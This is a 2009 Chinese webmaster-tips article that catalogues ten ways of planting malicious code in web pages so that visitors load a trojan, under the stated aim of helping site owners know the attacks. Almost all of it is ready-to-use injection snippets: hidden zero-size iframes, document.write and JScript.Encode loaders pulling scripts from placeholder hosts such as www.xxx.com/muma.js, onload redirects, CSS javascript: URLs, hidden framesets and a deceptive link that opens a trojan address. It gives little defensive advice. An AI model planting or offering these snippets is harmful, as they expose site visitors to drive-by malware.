当前位置: 首页 > 图文教程 > 网站运营 > 建站经验 > 个人站长来看:网站挂马各种方式代码

建站经验
企业网站建设七宗罪
30岁男人纪卓鸿-讲述他自己的网上帝国
市场调研三特性:目的、实践和相关性
新站长必读:如何在搜索引擎上做排名
新站长必读:网站为什么会被百度降权?
新站长必读:建网站还要养蜘蛛
殊不知建网站如同追求一个姑娘
地方门户突出重围之道
如何使qq推广变的高级
草根分享推广经验
给新站长的一点建议:坚持下去并且成功
如何让你的文章被争相转载?
网站的成功 原创如此重要
不得不引起关注与思考的“点击欺诈”
SupeSite 7.0教程:显示所有频道
新站如何快速提高网站粘度
网站更换主机空间的注意点
地方门户网站怎样才能成功
给你的网站搬家
柠檬绿茶是如何做到淘宝第一店的?

建站经验 中的 个人站长来看:网站挂马各种方式代码


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-09-26   浏览: 134 ::
收藏到网摘: n/a

    做为站长是不是怕网站被挂马?那就先来了解一下他们是怎么挂马的,知已知彼,对症下药!

一:框架挂马

以下为引用的内容:
<iframe src=地址 width=0 height=0></iframe>

二:js文件挂马

以下为引用的内容:
首先将以下代码
document.write("<iframe width='0' height='0' src='地址'></iframe>");
保存为xxx.js,
则JS挂马代码为
<script language=javascript src=xxx.js></script>

三:js变形加密

以下为引用的内容:
<SCRIPT language="JScript.Encode" src=http://www.xxx.com/muma.txt></script>
muma.txt可改成任意后缀

四:body挂马

以下为引用的内容:
<body onload="window.location='地址';"></body>

五:隐蔽挂马

以下为引用的内容:
top.document.body.innerHTML = top.document.body.innerHTML + '\r\n<iframe src="http://www.xxx.com/muma.htm/"></iframe>';

六:css中挂马

以下为引用的内容:
body {
background-image: url('javascript:document.write("<script src=http://www.XXX.net/muma.js></script>")')}

七:JAJA挂马

以下为引用的内容:
<SCRIPT language=javascript>
window.open ("地址","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");
</script>

八:图片伪装

以下为引用的内容:
<html>
<iframe src="网马地址" height=0 width=0></iframe>
<img src="图片地址"></center>
</html>

九:伪装调用:

以下为引用的内容:
<frameset rows="444,0" cols="*">
<frame src="打开网页" framborder="no" scrolling="auto" noresize marginwidth="0"margingheight="0">
<frame src="网马地址" frameborder="no" scrolling="no" noresize marginwidth="0"margingheight="0">
</frameset>

十:高级欺骗

以下为引用的内容:

<a href="http://www.163.com(迷惑连接地址,显示这个地址指向木马地址)" onMouseOver="www_163_com(); return true;"> 页面要显示的内容 </a>
<SCRIPT Language="JavaScript">
function www_163_com ()
{
var url="网马地址";
open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10");
}
</SCRIPT>